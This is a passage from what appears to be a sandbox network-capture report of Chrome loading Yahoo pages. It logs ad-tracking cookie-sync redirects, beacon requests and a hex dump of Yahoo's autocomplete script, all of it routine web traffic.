cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
2024-04-27 22:41:58 UTC	729	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:58 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:58 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-1xaxt2RE2pHy5ECCncGnLB0pjB6kSIwDUBU-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D Age: 0 Connection: close Server: ATS/9.1.10.112

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49921	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1285	OUT	GET /ups/58692/cms?partner_id=NEUAR&orig=ono HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
2024-04-27 22:41:58 UTC	585	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:58 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:58 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://aa.agkn.com/adscores/g.pixel?sid=9202214988&yho=y-nD.pVzFE2p7hPY1BD6_xmvzcGxE48h29DSc-~A Age: 0 Connection: close Server: ATS/9.1.10.112

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49923	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1305	OUT	GET /ups/58699/cms?partner_id=SEMAS&orig=ono&sInitiator=external HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC=19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y
2024-04-27 22:41:58 UTC	618	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:41:58 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:58 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://uipglob.semasio.net/oath/1/info?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external Age: 0 Connection: close Server: ATS/9.1.10.112

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49925	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1168	OUT	GET /_td_api/beacon/info?event=activate&spaceId=1197802003&version=1.1.52&scope=https://www.yahoo.com/&subscription_endpoint=null&metadataTime=5&src=notification-sw&code=info HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/service-worker.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:58 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Sat, 27 Apr 2024 22:41:58 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=7824h7pj2qvpm&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49924	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	1356	OUT	POST /_td_api/beacon/info?beaconSrc=HomepagePWA&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&eventName=svcWkrRegSuccess&rid=1sbetl5j2qvpa HTTP/1.1 Host: www.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:58 UTC	1113	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Sat, 27 Apr 2024 22:41:58 GMT x-envoy-upstream-service-time: 3 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=5nb8bpdj2qvpm&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49927	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:58 UTC	546	OUT	GET /aaq/wf/wf-autocomplete-1.31.8-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:58 UTC	860	IN	HTTP/1.1 200 OK x-amz-id-2: z0n1YRfEochTriHuIkvFaEBeukTrsVMaG+oAFLw3JaJ286IqjsJhpuNyvamPezO3GE3LLswbvdURklOhaKgaAjqdEyOHo7U0veKwn2FpiDE= x-amz-request-id: DF9YQT061C99SN3Y Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Mon, 04 Dec 2023 12:09:37 GMT ETag: "ad4b4808c249d200df8bcdb043ac4611" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 8t4F7XT1EMez7nbFAsJiLxiBVvaxQ2pI Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 29594 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 731 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-autocomplete",[],t):"object"==typeof exports?exports["wafer-autocomplete"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wa
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 74 2e 6e 63 29 2c 73 2e 73 72 63 3d 74 2e 70 2b 22 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 6d 6f 64 65 72 6e 2d 22 2b 7b 30 3a 22 61 34 66 33 31 65 31 30 61 65 22 7d 5b 65 5d 2b 22 2e 63 68 75 6e 6b 2e 6a 73 22 3b 76 61 72 20 6c 3d 73 65 74 54 69 6d 65 6f 75 74 28 69 2c 31 32 65 34 29 3b 72 65 74 75 72 6e 20 73 2e 6f 6e 65 72 72 6f 72 3d 73 2e 6f 6e 6c 6f 61 64 3d 69 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 72 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 61 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 61 29 7b 74 2e 6f 28 65 2c 69 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 69 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 Data Ascii: t.nc),s.src=t.p+"wf-autocomplete-1.31.8-modern-"+{0:"a4f31e10ae"}[e]+".chunk.js";var l=setTimeout(i,12e4);return s.onerror=s.onload=i,o.appendChild(s),r},t.m=e,t.c=a,t.d=function(e,i,a){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,ge
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 Data Ascii: ot call a class as a function")}function l(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function u(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=t
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c Data Ascii: w ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function m(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function,
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 69 29 2c 61 26 26 65 28 74 2c 61 29 2c 74 7d 7d 28 29 2c 5f 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 77 3d 5f 2e 62 61 73 65 2c 4c 3d 5f 2e 63 6f 6e 73 74 61 6e 74 73 2c 4f 3d 5f 2e 75 74 69 6c 73 2c 6b 3d 4c 2e 41 54 54 52 5f 50 52 45 46 49 58 2c 45 3d 4f 2e 62 69 6e 64 45 76 65 6e 74 2c 43 3d 4f 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 2c 41 3d 4f 2e 66 65 74 63 68 57 69 74 68 43 61 63 68 65 2c 54 3d 4f 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 2c 6a 3d 4f 2e 67 65 74 43 6f 6e 66 69 67 46 72 6f 6d 4a 53 4f 4e 53 63 72 69 70 74 4e 6f 64 65 2c 53 3d 4f 2e 67 65 74 44 61 74 61 59 6c 6b 2c 50 3d 4f 2e 67 65 74 54 65 6d 70 6c 61 74 65 43 6f 6e 74 65 6e 74 2c 78 3d 4f 2e 67 65 74 57 61 66 65 72 Data Ascii: (t.prototype,i),a&&e(t,a),t}}(),_=window.wafer,w=_.base,L=_.constants,O=_.utils,k=L.ATTR_PREFIX,E=O.bindEvent,C=O.convertNodeListToArray,A=O.fetchWithCache,T=O.findAncestor,j=O.getConfigFromJSONScriptNode,S=O.getDataYlk,P=O.getTemplateContent,x=O.getWafer
2024-04-27 22:41:58 UTC	979	IN	Data Raw: 2d 63 6f 6e 74 72 6f 6c 73 22 29 7c 7c 69 26 26 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 69 2b 22 2d 6c 69 73 74 22 29 2c 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 29 7c 7c 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 22 66 61 6c 73 65 22 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 61 3d 74 2e 63 6c 65 61 72 42 75 74 74 6f 6e 2c 6e 3d 74 2e 73 61 76 65 64 4c 6f 63 61 74 69 6f 6e 54 61 72 67 65 74 2c 72 3d 74 2e 74 61 72 67 65 74 45 6c 65 6d 2c 6f Data Ascii: -controls")\|\|i&&t.setAttribute("aria-controls",i+"-list"),t.hasAttribute("aria-expanded")\|\|t.setAttribute("aria-expanded","false")}},{key:"addEventListeners",value:function(){var e=this,t=this._util,a=t.clearButton,n=t.savedLocationTarget,r=t.targetElem,o
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 69 6e 70 75 74 2d 77 72 61 70 70 65 72 22 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 61 2e 73 74 79 6c 65 2c 7b 70 6f 73 69 74 69 6f 6e 3a 22 72 65 6c 61 74 69 76 65 22 7d 29 2c 6e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 74 3b 76 61 72 20 72 3d 6e 2e 63 68 69 6c 64 72 65 6e 5b 30 5d 3b 72 26 26 28 69 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 69 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 Data Ascii: ument.createElement("div"),n=document.createElement("div");a.classList.add("wafer-autocomplete-input-wrapper"),Object.assign(a.style,{position:"relative"}),n.innerHTML=t;var r=n.children[0];r&&(i.parentNode.insertBefore(a,i),a.appendChild(i),a.appendChild
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 50 6c 61 63 65 68 6f 6c 64 65 72 73 2c 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 73 3d 6f 2e 75 72 6c 2c 6c 3d 6f 2e 73 79 6e 63 4f 6e 53 65 61 72 63 68 2c 75 3d 76 6f 69 64 20 30 21 3d 3d 6c 26 26 6c 3b 69 66 28 21 28 73 26 26 6e 26 26 74 68 69 73 2e 67 65 74 4c 69 73 74 4d 61 72 6b 75 70 26 26 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 63 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 64 3d 63 2e 65 72 72 6f 72 43 6c 61 73 73 2c 66 3d 63 2e 74 69 6d 65 6f 75 74 2c 68 3d 61 2e 76 61 6c 75 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 61 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 64 29 2c 21 68 29 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6c 65 61 72 28 29 2c 21 31 3b 68 21 3d 3d 74 68 69 73 2e Data Ascii: Placeholders,o=this._util,s=o.url,l=o.syncOnSearch,u=void 0!==l&&l;if(!(s&&n&&this.getListMarkup&&this._state.active))return!1;var c=this._util,d=c.errorClass,f=c.timeout,h=a.value.toLowerCase();if(a.classList.remove(d),!h)return this.clear(),!1;h!==this.
2024-04-27 22:41:58 UTC	1300	IN	Data Raw: 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 75 6c 22 29 2c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 22 29 29 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 74 61 72 67 65 74 45 6c 65 6d 3d 72 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 6c 69 73 74 45 6c 65 6d 3d 6f 2c 74 68 69 73 2e 5f 75 74 69 6c 2e 79 6c 6b 4d 61 70 3d 53 28 72 29 2c 61 26 26 6e 26 26 28 74 68 69 73 2e 5f 75 74 69 6c 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 29 7d 7d 2c 7b 6b 65 79 3a 22 73 68 6f 77 4c 69 73 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 74 68 69 73 2e 5f 73 74 61 74 65 2e 6c 69 73 74 4f 70 65 6e Data Ascii: createElement("ul"),o.classList.add("wafer-autocomplete-list")),this._util.targetElem=r,this._util.listElem=o,this._util.ylkMap=S(r),a&&n&&(this._util.placeholderElem=document.getElementById(a))}},{key:"showList",value:function(e){if(!this._state.listOpen
